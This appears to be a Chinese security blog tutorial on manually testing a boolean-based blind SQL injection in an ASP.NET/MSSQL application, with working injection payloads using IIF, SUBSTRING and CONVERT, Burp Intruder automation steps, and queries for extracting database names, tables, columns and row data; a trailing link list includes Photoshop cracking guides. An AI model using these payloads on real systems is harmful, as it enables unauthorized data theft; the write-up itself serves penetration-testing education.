一次盲注漏洞的手工测试过程
在一次测试中,发现一个输入单引号触发页面报错,而输入两个单引号触发页面跳转拒绝访问的页面,比如:
name=' -> Redirecting to /Error.aspx page
name='' -> Redirecting to /AccessDenied.aspx page
尝试多次输入单引号,发现了一定的规律:
name=''' -> Redirecting to /Error.aspx page
name='''' -> Redirecting to /AccessDenied.aspx page
name=''''' -> Redirecting to /Error.aspx page
name='''''' -> Redirecting to /AccessDenied.aspx page
当输入基数个单引号时,页面跳转 Error.aspx,当输入偶数个单引号时,页面跳转至 AccessDenied.aspx,由于网站服务器是 asp.net + iis 架构的,根据经验判断,后端服务器应该是 MSSQL。
接下来的目标是通过该接口获取数据,由于无法回显详细的报错信息,也无法展示查询的信息,所以只能通过单字符猜解的方式,也就是大家常说的盲注,适用于这个场景下的盲注类型,可以选择通过构造报错语句的方式也就是布尔盲注,还可以选择借助时间函数的方式也就是时间盲注。
在有其他选择的情况下,通常最后选择使用时间盲注,毕竟时间盲注所要消耗的时间是最长的,当然也是最万能的方式,在我的理解中不同注入方式的优先级是这样的:
报错注入 > 联合查询 > 布尔盲注 > 时间盲注 > 数据库带外查询
今天的手工测试方法选用布尔盲注,如果时回显错误信息的情况下,以下查询语句可以返回数据库的名称:
'+convert(int,db_name())+'
因为数据库的名称是字符串,而将字符串转换为数字型时会报错,而今天这个环境下测试时发现:
'+convert(int,db_name())+' -> Redirecting to /Error.aspx page
'+convert(char,db_name())+' -> Redirecting to /AccessDenied.aspx page
当注入查询语句后,如果语句报错则页面会跳转至 Error.aspx 页,当语句是正确的时候,页面会跳转至 AccessDenied.aspx,而对于 MSSQL 而言,可以在 SQL 语句中使用 IIF 函数,比如:
SELECT IIF(1>2,"YES","NO")
如果第一个语句 1>2
为真,则返回第一个值,如果为假则返回第二个值,再结合 convert 函数来组合一个布尔查询的语句,如下:
'+convert(char,(SELECT IIF(SUBSTRING(DB_NAME(),1,1)='A',3,@@VERSION)))+' -> Redirecting to /AccessDenied.aspx
这个查询语句将做如下操作:
1、DB_NAME() 函数返回数据库的名称 2、SUBSTRING 函数提取数据库名称的中第一个字符并与字母 A
进行比较 3、IIF 函数判断,数据库名称的第一个字符是否为字母 A
,如果是,返回 3,如果不是返回数据库的版本信息 4、最后使用 convert 函数进行强制转换类型为字符,经过 IIF 函数判断的结果为数字,则跳转至 AccessDenied.aspx 页面,如果是数据库的版本信息,强制转换类型失败,页面报错,跳转至 Error.aspx 页。
那么接下来只需不断变换 A
的内容、以及 SUBSTRING 提取的单个字符位置,就能一个一个的猜解出我们想要查询的具体内容。
这个自动化的过程,需要用过工具 BurpSuite 中的 Intruder 功能,选择 Cluster Bomb 攻击模式:
先来检测数据库名称的长度,设置 payload 为数字类型,从 1 到 99:
接下来一个字符一个字符的做猜解,使用的 payload 为所有数字、大小写字母以及下划线:
最后设置 Grep - Extract 功能,将重定向到 AccessDenied.aspx 页面作为规则:
接下来启动攻击后,下图可以看到获取到的数据库名称:
到这里整个盲注测试的过程就结束了,如果想要获取数据库名称之外的信息,可以替换 payload 中 DB_NAME ()
部分,比如:
select host_name() -> 主机名
select top 1 table_name from INFORMATION_SCHEMA.tables -> 获取表名
select top 1 column_name from INFORMATION_SCHEMA.columns -> 获取列名
select column_name from table_name ORDER BY column_name OFFSET 2 ROW FETCH FIRST 1 ROW ONLY -> 获取指定表、列中的数据
最后,如果能使用 sqlmap 跑出来,就上自动化工具吧,快速且简单,手工测试,主要是为了应对特殊情况下的场景,作为一个高级安全工程师,手工测试是基础,如果你还不会,赶紧动手搞起来吧。
相关文章
- Jgit的使用笔记
- 利用Github Action实现Tornadofx/JavaFx打包
- 叹息!GitHub Trending 即将成为历史!
- 微软软了?开源社区讨论炸锅,GitHub CEO 亲自来答
- GitHub Trending 列表频现重复项,前后端都没去重?
- Photoshop Elements 2021版本软件安装教程(mac+windows全版本都有)
- (ps全版本)Photoshop 2020的安装与破解教程(mac+windows全版本都有)
- (ps全版本)Photoshop cc2018的安装与破解教程(mac+windows全版本,包括2023
- 环境搭建:Oracle GoldenGate 大数据迁移到 Redshift/Flat file/Flume/Kafka测试流程
- 每个开发人员都要掌握的:最小 Linux 基础课
- 来撸羊毛了!Windows 环境下 Hexo 博客搭建,并部署到 GitHub Pages
- 超实用!手把手入门 MongoDB:这些坑点请一定远离
- 【GitHub日报】22-10-09 zustand、neovim、webtorrent、express 等4款App今日上新
- 【GitHub日报】22-10-10 brew、minio、vite、seaweedfs、dbeaver 等8款App今日上新
- 【GitHub日报】22-10-11 cobra、grafana、vue、ToolJet、redwood 等13款App今日上新
- Photoshop 2018 下载及安装教程(mac+windows全版本都有,包括最新的2023)
- Photoshop 2017 下载及安装教程(mac+windows全版本都有,包括最新的2023)
- Photoshop 2020 下载及安装教程(mac+windows全版本都有,包括最新的2023)
- Photoshop 2023 资源免费下载(mac+windows全版本都有,包括最新的2023)
- 最新版本Photoshop CC2018软件安装教程(mac+windows全版本都有,包括2023